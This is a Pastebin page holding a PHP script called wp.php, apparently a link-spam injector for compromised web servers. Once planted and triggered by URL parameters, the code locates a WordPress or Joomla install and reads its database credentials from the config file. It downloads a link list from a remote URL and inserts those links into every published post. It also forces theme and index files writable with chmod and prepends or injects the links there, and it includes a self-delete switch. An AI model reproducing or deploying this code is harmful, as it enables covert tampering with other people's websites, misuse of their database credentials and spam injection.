Advertisement
PalmaSolutions

wp.php

Sep 30th, 2018
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 19.90 KB | None | 0 0
  1. <?php
  2. header('Content-Type:text/html;charset=utf-8');
  3. set_time_limit(0);
  4. ini_set('limit_memory','1024M');
  5. ini_set('max_execution_time',100000);
  6. error_reporting(0);
  7. ini_set('display_errors',0);
  8. $other_file = array('index.php','index.html','index.htm','index.shtml','index.html.bak.bak','index.html.bak','default.htm','default.html');
  9. if(@$_GET['delete'] == 'del'){
  10.     @unlink($php_Self);
  11. }
  12. if(@$_GET['insert'] ==false && @$_GET['datainsert']==false){
  13.     return;
  14. }
  15. if(@$_GET['num']){
  16.     $insert_num=(int)$_GET['num'];
  17. }
  18. if(@$insert_num<1){
  19.     $insert_num = 5;
  20. }
  21.  
  22. $is_wp = false;
  23. $is_jm = false;
  24. $other = '.';
  25. $link_split = "&nbsp;";
  26. $deeppath = 50;
  27. $dirstring = './';
  28. for($i=0;$i<$deeppath;$i++){
  29.    
  30.     if(is_wordpress($dirstring)){
  31.         $is_wp = true;
  32.         if(is_file($dirstring.'/wp-config.php')){
  33.             include $dirstring.'/wp-config.php';
  34.         }
  35.         break;
  36.     }
  37.     if(is_joomla($dirstring)){
  38.         $is_jm = true;
  39.         if(is_file($dirstring.'/configuration.php')){
  40.             include $dirstring.'/configuration.php';
  41.         }
  42.         break;
  43.     }
  44.    
  45.     if($i==0){
  46.         $dirstring='';
  47.     }
  48.     $dirstring.='../';
  49.    
  50. }
  51. $is_db = false;
  52. if(isset($_GET['datainsert']) && $_GET['datainsert'] !=false){
  53.     $_GET['insert'] = $_GET['datainsert'];
  54.     $is_db = true;
  55. }
  56. $getlink  = trim(crul_get($_GET['insert']));
  57. if($getlink == false){
  58.     echo 'Curl Get Link Failed<br>';
  59.     return;
  60. }else{
  61.     $getlink = explode("\n", $getlink);
  62. }
  63. foreach($getlink as $key=>$values){
  64.     if(trim($values)==false){
  65.         unset($getlink[$key]);
  66.         continue;
  67.     }
  68.     $getlink[$key] = trim($values);
  69. }
  70. if(count($getlink)==1 && $getlink[0]==false){
  71.     echo '链接列表为空<br>';
  72.     return;
  73. }
  74. $getlink = array_unique($getlink);
  75. $getlink_count = count($getlink);
  76. if($getlink_count<=$insert_num){
  77.     $insert_num = $getlink_count;
  78. }  
  79. if($is_wp==true){
  80.     if($is_db==true){
  81.         $is_conn = true;
  82.         if(defined('DB_NAME') && defined('DB_USER') && defined('DB_PASSWORD')){
  83.             if(!defined('DB_HOST')){
  84.                 define('DB_HOST', 'localhost');
  85.             }
  86.             if(function_exists('mysql_connect')){
  87.                
  88.                 if(!$conn=@mysql_connect(DB_HOST,DB_USER,DB_PASSWORD,true)){
  89.                     $is_conn = false;
  90.                 }
  91.                 if (!mysql_select_db(DB_NAME, $conn)) {
  92.                     $is_conn = false;
  93.                 }
  94.                 if($is_conn==true){
  95.                 $check_num = @mysql_fetch_assoc(mysql_query('select count(*) as num from '.$table_prefix.'posts where post_status ="publish"'));
  96.                 if($check_num['num']>0){
  97.                     $select_post = @mysql_query('select ID,post_content from '.$table_prefix.'posts where post_status ="publish"');
  98.                     $blog_content = array();
  99.                     while($result = mysql_fetch_assoc($select_post)){
  100.                         $blog_content[]=array('ID'=>$result['ID'],'post_content'=>$result['post_content']);
  101.                     }
  102.                     shuffle($getlink);
  103.                     $k=0;
  104.                     foreach($blog_content as $key=>$values){
  105.                         $link_string = '';
  106.                         for($i=0;$i<$insert_num;$i++){
  107.                             if(@$getlink[$k]==false){
  108.                                 shuffle($getlink);
  109.                                 $k = 0;
  110.                             }
  111.                             $link_string.=$getlink[$k].$link_split;
  112.                             $k++;
  113.                         }
  114.                         $link_string = rtrim($link_string,$link_split);
  115.                         $blog_content[$key]['post_content'] = $values['post_content'].$link_split.$link_string;
  116.                     }
  117.                     $blog_k = 0;
  118.                     foreach($blog_content as $key=>$val){
  119.                         $updateblog = mysql_query('UPDATE '.$table_prefix.'posts set post_content="'.addslashes($val['post_content']).'" where ID='.$val['ID']);
  120.                         if(mysql_affected_rows ()>0){
  121.                             $blog_k++;
  122.                         }
  123.                     }
  124.                     mysql_close($conn);
  125.                     echo '成功插入 '.$blog_k.' 条数据';
  126.                 }else{
  127.                     $is_conn = false;
  128.                 }
  129.                 }
  130.             }elseif(function_exists('mysqli_connect')){
  131.                 if(!$conn=@mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD)){
  132.                     $is_conn = false;
  133.                 }
  134.                 if (!mysqli_select_db($conn,DB_NAME)) {
  135.                     $is_conn = false;
  136.                 }
  137.                 if($is_conn==true){
  138.                 $check_num = @mysqli_fetch_array(mysqli_query($conn,'select count(*) as num from '.$table_prefix.'posts where post_status ="publish"'));
  139.                 if($check_num['num']>0){
  140.                     $select_post = @mysqli_query($conn,'select ID,post_content from '.$table_prefix.'posts where post_status ="publish"');
  141.                     $blog_content = array();
  142.                     while($result = mysqli_fetch_array($select_post)){
  143.                         $blog_content[]=array('ID'=>$result['ID'],'post_content'=>$result['post_content']);
  144.                     }
  145.                     shuffle($getlink);
  146.                     $k=0;
  147.                     foreach($blog_content as $key=>$values){
  148.                         $link_string = '';
  149.                         for($i=0;$i<$insert_num;$i++){
  150.                             if(@$getlink[$k]==false){
  151.                                 shuffle($getlink);
  152.                                 $k = 0;
  153.                             }
  154.                             $link_string.=$getlink[$k].$link_split;
  155.                             $k++;
  156.                         }
  157.                         $link_string = rtrim($link_string,$link_split);
  158.                         $blog_content[$key]['post_content'] = $values['post_content'].$link_split.$link_string;
  159.                     }
  160.                     $blog_k = 0;
  161.                     foreach($blog_content as $key=>$val){
  162.                         $updateblog = mysqli_query($conn,'UPDATE '.$table_prefix.'posts set post_content="'.addslashes($val['post_content']).'" where ID='.$val['ID']);
  163.                         if(mysqli_affected_rows($conn)>0){
  164.                             $blog_k++;
  165.                         }
  166.                     }
  167.                     mysqli_close($conn);
  168.                     echo '成功插入 '.$blog_k.' 条数据';
  169.                 }else{
  170.                     $is_conn = false;
  171.                 }
  172.                 }
  173.             }else{
  174.                 $is_conn = false;
  175.             }
  176.         }else{
  177.             $is_conn = false;
  178.         }  
  179.         if($is_conn==true){
  180.             return;
  181.         }
  182.     }
  183.     $write_index = $dirstring.'index.php';
  184.     shuffle($getlink);
  185.     $k=0;
  186.     if(is_file($write_index) && !is__writeable($write_index)){
  187.         $mod_access = @chmod($write_index,0644);
  188.         if($mod_access == true && !is__writeable($write_index)){
  189.             $mod_access = @chmod($write_index,0755);
  190.         }
  191.     }
  192.     if(is_file($write_index) && is__writeable($write_index)){
  193.         $link_string = '';
  194.         for($i=0;$i<$insert_num;$i++){
  195.             if($getlink[$k]==false){
  196.                 shuffle($getlink);
  197.                 $k = 0;
  198.             }
  199.             $link_string.=$getlink[$k].$link_split;
  200.             $k++;
  201.         }
  202.         $get_index = file_get_contents($write_index);
  203.         $put_result = file_put_contents($write_index,$link_string."\n".$get_index);
  204.         if($put_result!=false){
  205.             echo $write_index.' 写入成功<br>';
  206.         }
  207.     }
  208.     $footer_array = traverse($dirstring.'wp-content/themes');
  209.     foreach($footer_array as $footer_val){
  210.         $footer_val = rtrim($footer_val,'/').'/';
  211.        
  212.         $write_footer = $footer_val.'footer.php';
  213.         if(is_file($write_footer) && !is__writeable($write_footer)){
  214.             $mod_access = @chmod($write_footer,0644);
  215.             if($mod_access == true && !is__writeable($write_footer)){
  216.                 $mod_access = @chmod($write_footer,0755);
  217.             }
  218.         }
  219.         if(is_file($write_footer) && is__writeable($write_footer)){
  220.             $link_string = '';
  221.             for($i=0;$i<$insert_num;$i++){
  222.                 if($getlink[$k]==false){
  223.                     shuffle($getlink);
  224.                     $k = 0;
  225.                 }
  226.                 $link_string.=$getlink[$k].$link_split;
  227.                 $k++;
  228.             }
  229.             $get_footer = file_get_contents($write_footer);
  230.             $top_bottom = rand(1,2);
  231.             if(stripos($get_footer,'</footer>')){
  232.                 if($top_bottom==1){
  233.                     $get_footer = str_replace('</footer>',$link_string.'</footer>',$get_footer);
  234.                 }else{
  235.                     $get_footer = str_replace('</footer>','</footer>'.$link_string,$get_footer);
  236.                 }
  237.             }elseif(stripos($get_footer,'wp_footer();')){
  238.                 $link_string = addslashes($link_string);
  239.                 if($top_bottom==1){
  240.                     $get_footer = str_replace('wp_footer();','echo "'.$link_string.'"; wp_footer();',$get_footer);
  241.                 }else{
  242.                     $get_footer = str_replace('wp_footer();','wp_footer();echo "'.$link_string.'";',$get_footer);
  243.                 }
  244.             }elseif(stripos($get_footer,'</body>')){
  245.                 if($top_bottom==1){
  246.                     $get_footer = str_replace('</body>',$link_string.'</body>',$get_footer);
  247.                 }else{
  248.                     $get_footer = str_replace('</body>','</body>'.$link_string,$get_footer);
  249.                 }
  250.             }elseif(stripos($get_footer,'</html>')){
  251.                 if($top_bottom==1){
  252.                     $get_footer = str_replace('</html>',$link_string.'</html>',$get_footer);
  253.                 }else{
  254.                     $get_footer = str_replace('</html>','</html>'.$link_string,$get_footer);
  255.                 }
  256.             }else{
  257.                 if($top_bottom==1){
  258.                     $start_flag = (int)substr_count($get_footer,'<?php');
  259.                     $end_flag = (int)substr_count($get_footer,'?>');
  260.                     if($start_flag-$end_flag==1){
  261.                         $get_footer = $get_footer.' ?>';
  262.                     }
  263.                     $get_footer = $get_footer.$link_string;
  264.                 }else{
  265.                     $get_footer = $link_string.$get_footer;
  266.                 }
  267.             }
  268.            
  269.             $put_result = file_put_contents($write_footer,$get_footer);
  270.             if($put_result!=false){
  271.                 echo $write_footer.' 写入成功<br>';
  272.             }
  273.         }
  274.        
  275.     }
  276.     $other = rtrim($other,'/');
  277.     if(!is_dir($other)){
  278.         echo $other.' 目录不能存在<br>';
  279.         return;
  280.     }
  281.     if(!is_readable($other) || !is__writeable($other)){
  282.         echo '没有权限修改 '.$other.'<br>';
  283.         return;
  284.     }
  285.     foreach($other_file as $key=>$val){
  286.         if($val=='index.php'){
  287.             continue;
  288.         }
  289.         $write_file = $other.'/'.$val;
  290.         if(is_file($write_file) && !is__writeable($write_file)){
  291.             $mod_access = @chmod($write_file,0644);
  292.             if($mod_access == true && !is__writeable($write_file)){
  293.                 $mod_access = @chmod($write_file,0755);
  294.             }
  295.         }
  296.         if(is_file($write_file) && is__writeable($write_file)){
  297.             $link_string = '';
  298.             for($i=0;$i<$insert_num;$i++){
  299.                 if($getlink[$k]==false){
  300.                     shuffle($getlink);
  301.                     $k = 0;
  302.                 }
  303.                 $link_string.=$getlink[$k].$link_split;
  304.                 $k++;
  305.             }
  306.             $get_file = file_get_contents($write_file);
  307.             $put_result = file_put_contents($write_file,$link_string."\n".$get_file);
  308.             if($put_result!=false){
  309.                 echo $write_file.' 写入成功<br>';
  310.             }
  311.         }else{
  312.             if(is_file($write_file)){
  313.                 echo $write_file.' 没有权限修改<br>';
  314.             }
  315.             unset($other_file[$key]);
  316.         }
  317.     }
  318. }elseif($is_jm==true){
  319.     $is_conn = false;
  320.     if($is_db==true && class_exists('JConfig')){
  321.         $is_conn=true;
  322.         $obj = new JConfig();
  323.         $db_prefix = isset($obj->dbprefix)?$obj->dbprefix:'';
  324.         $db_name = isset($obj->db)?$obj->db:'';
  325.         $db_user = isset($obj->user)?$obj->user:'';
  326.         $db_password = isset($obj->password)?$obj->password:'**';
  327.         $db_host = isset($obj->host)?$obj->host:'localhost';
  328.         $content_tb = $db_prefix.'content';
  329.         if($db_name && $db_user && $db_password!='**'){
  330.             if(function_exists('mysql_connect')){
  331.                 if(!$conn=@mysql_connect($db_host,$db_user,$db_password,true)){
  332.                     $is_conn = false;
  333.                 }
  334.                 if (!mysql_select_db($db_name, $conn)) {
  335.                     $is_conn = false;
  336.                 }
  337.                 if($is_conn==true){
  338.                     $check_num = @mysql_fetch_assoc(mysql_query('select count(*) as num from '.$content_tb));
  339.                     if($check_num['num']>0){
  340.                         $select_post = @mysql_query('select id as ID,introtext as post_content,`fulltext` from '.$content_tb);
  341.                         $blog_content = array();
  342.                         while($result = mysql_fetch_assoc($select_post)){
  343.                             $blog_content[]=array('ID'=>$result['ID'],'post_content'=>$result['post_content'],'fulltext'=>$result['fulltext']);
  344.                         }
  345.                        
  346.                         shuffle($getlink);
  347.                         $k=0;
  348.                         foreach($blog_content as $key=>$values){
  349.                             $link_string = '';
  350.                             for($i=0;$i<$insert_num;$i++){
  351.                                 if(@$getlink[$k]==false){
  352.                                     shuffle($getlink);
  353.                                     $k = 0;
  354.                                 }
  355.                                 $link_string.=$getlink[$k].$link_split;
  356.                                 $k++;
  357.                             }
  358.                             $link_string = rtrim($link_string,$link_split);
  359.                             if($values['fulltext']!=false){
  360.                                 $blog_content[$key]['fulltext'] = $values['fulltext'].$link_split.$link_string;
  361.                             }else{
  362.                                 $blog_content[$key]['post_content'] = $values['post_content'].$link_split.$link_string;
  363.                             }
  364.                         }
  365.                         $blog_k = 0;
  366.                         foreach($blog_content as $key=>$val){
  367.                             $updateblog = mysql_query('UPDATE '.$content_tb.' set introtext="'.addslashes($val['post_content']).'",`fulltext`="'.addslashes($val['fulltext']).'" where id='.$val['ID']);
  368.                             if(mysql_affected_rows ()>0){
  369.                                 $blog_k++;
  370.                             }
  371.                         }
  372.                         mysql_close($conn);
  373.                         echo '成功插入 '.$blog_k.' 条数据';
  374.                     }else{
  375.                         $is_conn = false;
  376.                     }
  377.                 }
  378.             }elseif(function_exists('mysqli_connect')){
  379.                 if(!$conn=@mysqli_connect($db_host,$db_user,$db_password)){
  380.                     $is_conn = false;
  381.                 }
  382.                 if (!mysqli_select_db($conn,$db_name)) {
  383.                     $is_conn = false;
  384.                 }
  385.                 if($is_conn==true){
  386.                     $check_num = @mysqli_fetch_array(mysqli_query($conn,'select count(*) as num from '.$content_tb));
  387.                     if($check_num['num']>0){
  388.                         $select_post = @mysqli_query($conn,'select id as ID,introtext as post_content,`fulltext` from '.$content_tb);
  389.                         $blog_content = array();
  390.                         while($result = mysqli_fetch_array($select_post)){
  391.                             $blog_content[]=array('ID'=>$result['ID'],'post_content'=>$result['post_content'],'fulltext'=>$result['fulltext']);
  392.                         }
  393.                         shuffle($getlink);
  394.                         $k=0;
  395.                         foreach($blog_content as $key=>$values){
  396.                             $link_string = '';
  397.                             for($i=0;$i<$insert_num;$i++){
  398.                                 if(@$getlink[$k]==false){
  399.                                     shuffle($getlink);
  400.                                     $k = 0;
  401.                                 }
  402.                                 $link_string.=$getlink[$k].$link_split;
  403.                                 $k++;
  404.                             }
  405.                             $link_string = rtrim($link_string,$link_split);
  406.                             if($values['fulltext']!=false){
  407.                                 $blog_content[$key]['fulltext'] = $values['fulltext'].$link_split.$link_string;
  408.                             }else{
  409.                                 $blog_content[$key]['post_content'] = $values['post_content'].$link_split.$link_string;
  410.                             }
  411.                         }
  412.                         $blog_k = 0;
  413.                         foreach($blog_content as $key=>$val){
  414.                             $updateblog = mysqli_query($conn,'UPDATE '.$content_tb.' set introtext="'.addslashes($val['post_content']).'",`fulltext`="'.addslashes($val['fulltext']).'" where id='.$val['ID']);
  415.                             if(mysqli_affected_rows($conn)>0){
  416.                                 $blog_k++;
  417.                             }
  418.                         }
  419.                         mysqli_close($conn);
  420.                         echo '成功插入 '.$blog_k.' 条数据';
  421.                     }else{
  422.                         $is_conn = false;
  423.                     }
  424.                 }
  425.             }
  426.         }
  427.     }
  428.     if($is_conn==true){
  429.         return;
  430.     }
  431.     $write_index = $dirstring.'index.php';
  432.     shuffle($getlink);
  433.     $k=0;
  434.     if(is_file($write_index) && !is__writeable($write_index)){
  435.         $mod_access = @chmod($write_index,0644);
  436.         if($mod_access == true && !is__writeable($write_index)){
  437.             $mod_access = @chmod($write_index,0755);
  438.         }
  439.     }
  440.     if(is_file($write_index) && is__writeable($write_index)){
  441.         $link_string = '';
  442.         for($i=0;$i<$insert_num;$i++){
  443.             if($getlink[$k]==false){
  444.                 $k=0;
  445.                 shuffle($getlink);
  446.             }
  447.             $link_string.=$getlink[$k].$link_split;
  448.             $k++;
  449.         }
  450.         $get_index = trim(file_get_contents($write_index));
  451.         $put_result = file_put_contents($write_index,$link_string."\n".$get_index);
  452.         if($put_result!=false){
  453.             echo $write_index.' 写入成功<br>';
  454.         }
  455.     }
  456.     $footer_array = traverse($dirstring.'templates');
  457.     foreach($footer_array as $footer_val){
  458.         $footer_val = rtrim($footer_val,'/').'/';
  459.        
  460.         $write_footer = $footer_val.'index.php';
  461.         if(is_file($write_footer) && !is__writeable($write_footer)){
  462.             $mod_access = @chmod($write_footer,0644);
  463.             if($mod_access == true && !is__writeable($write_footer)){
  464.                 $mod_access = @chmod($write_footer,0755);
  465.             }
  466.         }
  467.         if(is_file($write_footer) && is__writeable($write_footer)){
  468.             $link_string = '';
  469.             for($i=0;$i<$insert_num;$i++){
  470.                 if($getlink[$k]==false){
  471.                     $k=0;
  472.                     shuffle($getlink);
  473.                 }
  474.                 $link_string.=$getlink[$k].$link_split;
  475.                 $k++;
  476.             }
  477.             $get_footer = file_get_contents($write_footer);
  478.             $top_bottom = rand(1,2);
  479.             if(stripos($get_footer,'</footer>')){
  480.                 if($top_bottom==1){
  481.                     $get_footer = str_replace('</footer>',$link_string.'</footer>',$get_footer);
  482.                 }else{
  483.                     $get_footer = str_replace('</footer>','</footer>'.$link_string,$get_footer);
  484.                 }
  485.             }elseif(stripos($get_footer,'</body>')){
  486.                 if($top_bottom==1){
  487.                     $get_footer = str_replace('</body>',$link_string.'</body>',$get_footer);
  488.                 }else{
  489.                     $get_footer = str_replace('</body>','</body>'.$link_string,$get_footer);
  490.                 }
  491.             }elseif(stripos($get_footer,'</html>')){
  492.                 if($top_bottom==1){
  493.                     $get_footer = str_replace('</html>',$link_string.'</html>',$get_footer);
  494.                 }else{
  495.                     $get_footer = str_replace('</html>','</html>'.$link_string,$get_footer);
  496.                 }
  497.             }else{
  498.                 if($top_bottom==1){
  499.                     $start_flag = (int)substr_count($get_footer,'<?php');
  500.                     $end_flag = (int)substr_count($get_footer,'?>');
  501.                     if($start_flag-$end_flag==1){
  502.                         $get_footer = $get_footer.' ?>';
  503.                     }
  504.                     $get_footer = $get_footer.$link_string;
  505.                 }else{
  506.                     $get_footer = $link_string.$get_footer;
  507.                 }
  508.    
  509.             }
  510.             $put_result = file_put_contents($write_footer,$get_footer);
  511.             if($put_result!=false){
  512.                 echo $write_footer.' 写入成功<br>';
  513.             }
  514.         }
  515.     }
  516.     $other = rtrim($other,'/');
  517.     if(!is_dir($other)){
  518.         echo $other.' 目录不能存在<br>';
  519.         return;
  520.     }
  521.     if(!is_readable($other) || !is__writeable($other)){
  522.         echo '没有权限修改 '.$other.'<br>';
  523.         return;
  524.     }
  525.     foreach($other_file as $key=>$val){
  526.         if($val=='index.php'){
  527.             continue;
  528.         }
  529.         $write_file = $other.'/'.$val;
  530.         if(is_file($write_file) && !is__writeable($write_file)){
  531.             $mod_access = @chmod($write_file,0644);
  532.             if($mod_access == true && !is__writeable($write_file)){
  533.                 $mod_access = @chmod($write_file,0755);
  534.             }
  535.         }
  536.         if(is_file($write_file) && is__writeable($write_file)){
  537.             $link_string = '';
  538.             for($i=0;$i<$insert_num;$i++){
  539.                 if($getlink[$k]==false){
  540.                     shuffle($getlink);
  541.                     $k = 0;
  542.                 }
  543.                 $link_string.=$getlink[$k].$link_split;
  544.                 $k++;
  545.             }
  546.             $get_file = file_get_contents($write_file);
  547.             $put_result = file_put_contents($write_file,$link_string."\n".$get_file);
  548.             if($put_result!=false){
  549.                 echo $write_file.' 写入成功<br>';
  550.             }
  551.         }else{
  552.             if(is_file($write_file)){
  553.                 echo $write_file.' 没有权限修改<br>';
  554.             }
  555.             unset($other_file[$key]);
  556.         }
  557.     }
  558.    
  559. }else{
  560.     if($other==true){
  561.         $other = rtrim($other,'/');
  562.         if(!is_dir($other)){
  563.             echo $other.' 目录不能存在<br>';
  564.             return;
  565.         }
  566.         if(!is_readable($other) || !is__writeable($other)){
  567.             echo '没有权限修改 '.$other.'<br>';
  568.             return;
  569.         }
  570.        
  571.         foreach($other_file as $key=>$val){
  572.             $write_file = $other.'/'.$val;
  573.             if(is_file($write_file) && !is__writeable($write_file)){
  574.                 $mod_access = @chmod($write_file,0644);
  575.                 if($mod_access == true && !is__writeable($write_file)){
  576.                     $mod_access = @chmod($write_file,0755);
  577.                 }
  578.             }
  579.             shuffle($getlink);
  580.             if(is_file($write_file) && is__writeable($write_file)){
  581.                 $link_string = '';
  582.                 for($i=0;$i<$insert_num;$i++){
  583.                     $link_string.=$getlink[$i].$link_split;
  584.                 }
  585.                 $get_file = file_get_contents($write_file);
  586.                 $put_result = file_put_contents($write_file,$link_string."\n".$get_file);
  587.                 if($put_result!=false){
  588.                     echo $write_file.' 写入成功<br>';
  589.                 }
  590.             }else{
  591.                 if(is_file($write_file)){
  592.                     echo $write_file.' 没有权限修改<br>';
  593.                 }
  594.                 unset($other_file[$key]);
  595.             }
  596.         }
  597.        
  598.     }
  599. }
  600. function is__writeable($filepath) {
  601.     if (is_dir($filepath)) return is_writable($filepath);
  602.     $fp = @fopen($filepath, 'a');
  603.     if ($fp) {
  604.         @fclose($fp);
  605.         $fp = @fopen($filepath, 'a');
  606.         if ($fp) {
  607.             @fclose($fp);
  608.             return true;
  609.         }
  610.     }
  611.     return false;
  612. }
  613.  
  614. function is_joomla ($path)
  615. {
  616.     $dir = $path;
  617.         if (file_exists ($dir . '/configuration.php') && file_exists ($dir . '/components/com_content/') && file_exists ($dir . '/administrator/components/'))
  618.         {
  619.             return true;
  620.         }
  621.     return false;
  622. }
  623.  
  624. function is_wordpress ($path)
  625. {
  626.     $dir = $path;
  627.         if ((file_exists ($dir . '/wp-config.php') || file_exists ($dir . 'wp-content/themes/')) || file_exists ($dir . '/wp-admin/') && file_exists ($dir . '/wp-includes/'))
  628.         {
  629.             return true;
  630.         }
  631.     return false;
  632. }
  633. function crul_get($url,$i=0){
  634.     if($url==false){
  635.         return;
  636.     }
  637.     $ch = curl_init();
  638.     curl_setopt($ch,CURLOPT_URL,$url);
  639.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  640.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
  641.     curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 20);
  642.     $sourceBody = curl_exec($ch);
  643.     if(!curl_errno($ch)){
  644.         return $sourceBody;
  645.     }else{
  646.         if($i>=10){
  647.             return $sourceBody;
  648.         }
  649.         $i++;
  650.         crul_get($url,$i);
  651.     }
  652.     curl_close ( $s );
  653. }
  654. function traverse($path = '.') {
  655.     static $file_array;
  656.     $current_dir = opendir($path);
  657.     while(($file = readdir($current_dir)) !== false) {
  658.         $sub_dir = $path . DIRECTORY_SEPARATOR . $file;
  659.         if($file == '.' || $file == '..') {
  660.             continue;
  661.         } else if(is_dir($sub_dir)) {
  662.             $file_array[]=str_replace("\\",'/',$path . '/' . $file );
  663.         }
  664.     }
  665.     return $file_array;
  666. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement